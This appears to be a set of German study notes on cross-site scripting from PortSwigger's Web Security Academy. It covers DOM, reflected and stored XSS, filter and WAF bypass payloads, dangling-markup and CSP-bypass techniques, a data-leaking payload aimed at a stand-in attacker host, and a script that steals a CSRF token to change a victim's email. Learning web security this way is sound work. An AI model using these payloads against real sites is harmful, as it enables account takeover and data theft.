Skip to content

Mit Cross-site scripting ist es möglich die same origin policy zu umgehen, welche dazu dient unterschiedliche Webseiten zu separieren. Die Content Security Policy (CSP) ist ein weiterer Sicherheitsmechanismus, welcher cross-site scripting und andere Schwachstellen behindern oder sogar verhindern soll. Allerdings kann die CSP oft leicht umgangen werden. ![[cross-site-scripting 1.svg]]

DOM-basiertes Cross-site scripting

[!info] Sink und Source Bei der Source handelt es sich um den Teil im HTML Dokument, welcher von der Sink als Eingabe genutzt wird.

Diese Art des XSS Angriffs tritt auf, wenn eine Webanwendung Daten aus einer nicht vertrauenswürdigen Quelle nicht validiert. Meistens beim zurückschreiben der Daten ins DOM. Das folgende Beispiel veranschaulicht dies, indem aus dem Such Element der Wert genommen wird und wieder auf die Seite geschrieben wird.

var search = document.getElementById('search').value; 
var results = document.getElementById('results'); 
results.innerHTML = 'You searched for: ' + search;
Allerdings muss hier auch auf den Kontext geachtet werden, es kann sein, dass hier HTML Tags geschlossen werden müssen oder der Payload in einer anderen Weise angepasst werden muss. Das innerHTML sink akzeptiert das script Element in modernen Browsern nicht. Zudem wird das svg onload Event nicht ausgelöst. Das bedeutet, alternative Elemente wie, img oder iframe müssen benutzt werden. Die Events onload und onerror können mit diesen Elementen genutzt werden. Beispielsweise:
element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'

DOM XSS in jQuery

In jQuery müssen nach jQuery spezifischen Funktionen gesucht werden, welche das DOM ändert. Dazu zählt beispielsweise die attr() Funktion. Die Folgende Funktion nimmt den GET Parameter returnUrl und schreibt ihn in das #backLink Element.

$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));
Ein Weiterer sink nach dem in jQuery gesucht werden sollte ist der $() Selektor. Ein häufiger Einfallsvektor für XSS in jQuery ist location.hash. Dieser Parameter dient dazu, um zu einer bestimmten Stelle auf der Seite zu scrollen. Dazu wurde meist eine verwundbare hashchange Funktion genutzt:
$(window).on('hashchange', function() {
    var element = $(location.hash);
    element[0].scrollIntoView();
});
Dies kann ausgenutzt werden indem ein eigener Server erstellt wird, der ein iframe ausliefert, welches den Payload enthält.
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">

XSS in Angular

AngularJS scannt das HTML Dokument auf Elemente, welche das ng-app Attribut enthalten(auch als AngularJS direktive bekannt). Wenn dem Code eine Direktive hinzugefügt wird kann Javascript in doppelten geschweifeten Klammern ausgeführt werden. Dies ist nützlich, wenn spitze Klammern enkodiert werden. Beispielsweise mit {{constructor.constructor('alert(1)')()}}. Weitere Infos

DOM XSS kombiniert mit reflected und stored

Auch ist es möglich, dass DOM zusammen mit reflected XSS auftritt. DOM XSS ist auch ausnutzbar, indem die Antwort des Servers einfach auf der Seite ohne Validierung angezeigt wird. Dazu ein beispiel um, dies besser zu verstehen:

[!example] Beispiel von reflected DOM XSS Der Nutzer sucht etwas, dafür wird eine Anfrage mithilfe von Javascript an den Server gestellt: GET /search-results?search=\"-alert(1)} //. Der Server liefert wiederum das Ergebnis zurück:

{"results":[],"searchTerm":"\\"-alert(1)} //"}
Im nächsten Schritt wird dies von einer unsicheren Sink verarbeitet und führt zur Ausführung von Javascript.

Daneben gibt es auch noch stored DOM XSS. Hierbei nutzt eine Sink einen gespeicherten Wert. Dieser Wert wird nicht ordnungsgemäß gespeichert oder validiert und kann so ausgenutzt werden.

Sinks die zu DOM XSS führen können

document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent
Die folgenden Sinks können ebenfalls zu DOM XSS führen. Hierbei handelt es sich allerdings um jQuery Sinks.
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

Dangling Markup

Technik mit der Domänenübergreifend Daten erfasst werden können, wenn ein XSS Angriff Aufgrund von Eingabefiltern oder anderen Schutzmaßnahmen nicht möglich ist. Oft ist es hierdurch möglich sensible Informationen abzugreifen, welche für andere Nutzer sichtbar sind. Darunter fallen auch CSRF-Token.

XSS finden

  • Validieren aller Eingabefelder mithilfe von alphanumerischen Zeichen, bei denen die wahrscheinlichkeit klein ist, dass sie in der Antwort enthalten sind.
  • Der Kontext an den Stellen an denen der alphanumerische Wert Reflektiert wird muss ausgewertet werden. Beispielsweise kann der Wert zwischen HTML Tags, innerhalb eines tag attributes oder in einem JavaScript String sein.

Stored cross-site scripting

Auch bekannt als second-order oder persistentes XSS.

XSS Kontexte

Beim testen von XSS ist ein wichtiger Teil den Kontext zu identifizieren. - Identifizieren des Teils in der Antwort, welcher den Nutzer kontrollierbaren Teil enthält. - Identifizierung der Eingabevalidierung, welche auf die Daten angewandt werden.

Attribute und Tags

Sind einige Attribute oder Tags geblockt, kann dies per Dictionary Attack möglicherweise rausgefunden werden. Dazu können die möglichen Tags aus der XSS Cheat Sheet Tabelle entnommen und geprüft werden. Auch kann es nötig sein verschachtelte Tags zu nutzen. Beispielsweise wird im folgenden im <svg> Tag, der <a> Tag. Und dieser wiederum enthält den <animate> Tag, mit welchem es möglich ist, den <a> Tag anzupassen.

<svg><a><animate attributeName="href" values=javascript:alert() /><text x=45 y=45>Click me</text></a></svg>

XSS in HTML tag attributes

Liegt der XSS Kontext innerhalb eines HTML Tags ist es möglich hierraus auszubrechen:

"><script>alert()</script>
Die spitzen Klammern < und > sind aber häufig blockiert. Dazu kann innerhalb des HTML Tags ein event erstellt werden:
" autofocus onfocus=alert() x="

XSS in hidden elements

https://portswigger.net/research/xss-in-hidden-input-fields Es ist möglich xss in versteckte Elemente zu injizieren. Dies ist allerdings schwieriger, da viele Events nicht für versteckte Elemente funktionieren. Dafür gibt es die Möglichkeiten Tastenkombinationen zuzuweisen, um Javascript auszulösen:

<input type="hidden" accesskey="X" onclick="alert(1)">
Um dieses Javascript Event auszulösen muss die Tastenkombination ALT, SHIFT und die spezifizierte Taste. In diesem Fall also x. Auch funktioniert dies mit anderen Elementen, wie link oder meta Tags:
<link rel="canonical" accesskey="X" onclick="alert(1)" />

XSS in Javascript

Es ist auch möglich XSS in Javascript zu injizieren. Im einfachsten Fall ist es möglich den <script> Tag zu schließen. Und danach einfach andere HTML Tags zu benutzen, welche XSS Angriffe ausführen. Der Grund warum dies funktioniert ist, dass der Browser zuerst das HTML parst, um die Elemente auf der Seite zu identifizieren. Erst danach wird das Javascript geparst. Der im Beispiel gezeigte Payload, macht das Original Skript kaputt und lässt einen String ungeschlossen. Doch dies verhindert die Ausführung des Skripts nicht. Beispielsweise kann in das folgende Skript Tag:

<script>
var input = 'kontrollierbare Daten';
</script>
kann ein Payload wie dieser benutzt werden:
</script><img src=1 onerror=alert()>
Ein Resultat davon könnte wie folgt aussehen:
<script>
var input = '</script><img src="1" onerror="alert()"';

Ausbruch aus einem Javascript String

In Fällen, in denen der XSS Kontext innerhalb eines Strings ist, ist es häufig möglich hier auszubrechen. Dabei muss beachtet werden, dass der XSS Kontext repariert werden muss, der dem XSS Kontext folgt da es sonst sein kann, dass das XSS nicht ausgeführt werden kann. Einige nützliche Ausbrüche sind:

'-alert()-'
';alert()//

Umgehung geblockter Zeichen

Manche Applikationen oder die WAF blocken bestimmte Zeichen. Dies kann umgangen werden indem bestimmte Funktionen aufgerufen werden. Ein Möglichkeit hierfür ist das throw statement mit dem Fehler handler zu benutzen. Dies ermöglicht es Argumente einer Funktion zu übergeben, ohne Klammern zu nutzen. Der nachfolgende Code weist dem Fehler handler die alert() Funktion zu und das throw statement, übergibt der alert() Funktion die 1:

onerror=alert;throw 1
Um nun auch noch das Semikolon wegzubekommen ist es möglich geschweifte Klammern zu verwenden:
<script>{onerror=alert}throw 1337</script>
![[Pasted image 20240624164251.png]] Das Ergebnis des Aufrufs des Bildes ist ein popup mit der Meldung Uncaught haha. Um das Uncaught auszublenden, kann der String mit einem = starten. Dadurch wird das Uncaught als Variable betrachtet.
<script>{onerror=eval}throw'=alert\x281337\x29'</script>
Damit wird der String Uncaught=alert(1337) zu der eval Funktion geschickt. Dies funktioniert unter Chrome, aber unter firefox wird ein uncaught exception davor eingefügt, was zu einem Syntax Fehler führt.

  1. {onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}
  2. {onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}
  3. throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]
  4. TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']

https://portswigger.net/research/xss-without-parentheses-and-semi-colons

Nutzung der HTML enkodierung

Liegt der XSS Kontext innerhalb eines existierenden Javascript mit einem Tag in Anführungszeichen, wie eines Event Handlers, ist es möglich mithilfe von HTML enkodierung einige Eingabefilter zu umgehen. Nach dem rendern der HTML Tags und der Attribute, erfolgt eine HTML dekodierung. Ein möglicher Payload für diesen Fall wäre:

&apos;-alert(document.domain)-&apos;

XSS in Javascript template Literalen

Javascript-Template-Literale, sind String-Literale, welche eingebettete Javascript Ausdrücke zulassen. Diese Ausdrücke werden ausgewertet und für gewöhnlich mit dem umgebenden Text verkettet. Diese Template Literale befinden sich in backticks und eingebettete Ausdrücke werden durch die ${...} Syntax genutzt. Ein Beispiel könnte so aussehen:

document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;
Wird ein Javascript Template Literal benutzt, zu erkennen an den backticks. Kann hier einfach der Payload ${alert(document.domain)} eingefügt werden.

Dangling Markup

Dangling Markup wird verwendet, wenn eine vollständige XSS Attacke nicht möglich ist. Dazu wird angenommen, dass die Applikation weder > noch " Filtert. Dann kann ein Payload wie der folgende genutzt werden:

"><img src='//attacker-website.com?
Das nicht schließen des src Attributs wird als "dangling" bezeichnet. Der Browser hängt nun alles an die URL an, bis ein ' gefunden wurde. Dies kann dazu führen, dass sensible Daten preisgegeben werden.

Content security policy

Dieser Sicherheitsmechanismus dient dazu verschiedene Angriffe, darunter XSS zu verhindern. Dies wird dadurch erreicht, dass bestimmte Resourcen, wie Skripte und Bilder eingeschränkt werden. Um diesen Sicherheitsmechanismus zu aktivieren muss der HTTP response Header Content-Security-Policy genutzt werden. Die sogenannte "same origin" policy erlaubt nur den Zugriff auf die selbe Resource. Das heißt das Protokoll, der Port, sowie die Domain müssen dieselben sein. Um diese Policy noch sicherer zu machen, kann auch ein nonce benutzt werden, welches für jeden Aufruf einen kryptografisch zufälligen nonce erzeugt. Zudem gibt es noch die Möglichkeit das Skript zu hashen und sollte es sich verändert haben, ist eine Ausführung nicht mehr möglich.

Umgehung der CSP durch dangling markup

Eine Möglichkeit die CSP zu umgehen, ist durch dangling markup. Diese Technik ist nützlich, wenn reflected XSS nicht funktioniert oder durch die CSP geblockt ist. Eine CSP Policy wie default-src 'none'; base-uri 'none'; blockt den einfachen dangling markup Angriff. Doch hierbei kann das base Tag mit dem target Attribut genutzt werden. Dadurch ist es möglich den "window name" jedes Links auf der Seite zu ändern. Wird nun das target Attribut unvollständig injiziert, wird der "window name" entsprechend mit allem dem target folgenden markup gesetzt, bis das Anführungszeichen geschlossen wird. Um nun die Daten zu erhalten, muss der Nutzer den Link klicken. Da der "window name" über Domains hinweg sichtbar ist, kann dieser ausgelesen werden. Der folgende Code nutzt diesen Angriff:

<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="blah
Der Angreifer muss dies nun lediglich auf seinem Server auslesen:
<script>alert("The extracted content is:" + name);</script>
Um diese Attacke unwirksam zu machen muss lediglich der base Tag direkt am Anfang selbst definiert werden, bevor ein Angreifer überhaupt die Möglichkeit hat, sein eigenes base Tag zu definieren:
<base target="_self" />
Dies kann aber wieder umgangen werden, mit einem Form welches einen Link hat.
<input name="x" type="hidden" form="x" value="<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a>">
<button form="x">
    <font size="100" color="red">Click me</font>
</button>
<form id="x" target="
Wie zu sehen ist gibt es hier ein verstecktes input Element, welches einen Payload enthält. Und danach einen button und eine angefangene form mit einem angefangenen target Attribut. Wird nun dieser Button geklickt ruft die Seite sich selbst auf und setzt das dangling markup, sowie den Code, welcher sich im versteckten input Element versteckt ein. Es entsteht erneut ein Link, der wieder angeklickt werden muss. Doch dieser Link kann nun der Server des Angreifers sein und ihm die gewünschten Daten liefern. https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup

Schutz vor Clickjacking

Die folgende Direktive erlaubt nur, dass die Seite nur von Seiten desselben Ursprungs durch iframes eingebettet werden können.

frame-ancestors 'self'
Die Anweisung frame-ancestors 'none' verhindert dies vollständig. CSP ist dem X-Frame-Options Header vorzuziehen, da dieser ein veralteter ist und der CSP auch die frames der Hierarchie prüft.

Exploit XSS

Meistens wird die alert() Funktion zum zeigen einer gefundenen Lücke genutzt. Manchmal auch alert(document.domain), dies hat den Vorteil, dass direkt angezeigt wird, auf welcher Seite der Code ausgeführt wird. Eine alternative zum alert() ist die print() Funktion, bei welcher die Wahrscheinlichkeit niedriger ist, dass sie geblockt ist als die alert() Funktion.

Steal Cookies

Limitationen: 1. Opfer ausgeloggt 2. HttpOnly Flag versteckt Cookie vom Javascript 3. Sessions sind an zusätzliche Faktoren, wie IP adressen gebunden. 4. Die Session ist abgelaufen, bevor sie ausgenutzt werden kann. ```html

## Fangen von Passwörtern
Heutzutage nutzen viele Nutzer Passwortmanager, die automatisch die Passwortfelder ausfüllen. Dieses Verhalten kann ausgenutzt werden um diese Passwörter zu erlangen.

## XSS um CSRF auszuführen
Durch eine XSS Lücke können auch im Namen des Opfers aktionen ausgeführt werden, wenn beispielsweise die Anwendung nicht beim ändern der Mail nach dem Passwort fragt, kann dies leicht geändert werden.
```html
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get', '/my-account', true);
req.send();

function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf=' + token + '&email=test@test.com')
};
</script>

XSS REGEX BYPASS

Groß kleinschreibung:

<sCrIpT>print()</sCriPt>
Anhängen eines zusätzlichen "<"
<<script>print()</script>
Entfernen des schließenden Tags
<script>print() //
backticks statt klammern
<script>alert`XSS`</script>
Enkodierte newline zeichen
java%0script:alert(1)
Doppelte öffnende spitze klammern:
<iframe src=malicous.com <
ungewöhnliche Tags
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE>
leerzeichen filter umgehen mit /
<img/src=1/onerror=alert(0)>
Zusätzliche Zeichen
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa href=javascript:alert(1)>xss</a>
Ungewöhnliche Funktionen
Function("ale"+"rt(1)")();
Octal enkodierung
javascript:74163166147401571561541571411447514115414516216450615176
Unicode enkodierung Kommentare in SQL
/?id=1+un/**/ion+sel/**/ect+1,2,3--
HTML Enkodierung
%26%2397;lert(1)
Nutzung von Line Feed (LF) line breaks
<a src="%0Aj%0Aa%0Av%0Aa%0As%0c%0Ar%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)">

Nutzung von zeichen, die keine Buchstaben sind

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>

Cheat Sheet

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

https://0a17002503045ff4813d75da0081009e.web-security-academy.net/post?postId=4&test=2%27accesskey=%27X%27onclick=%27javascript:alert(1)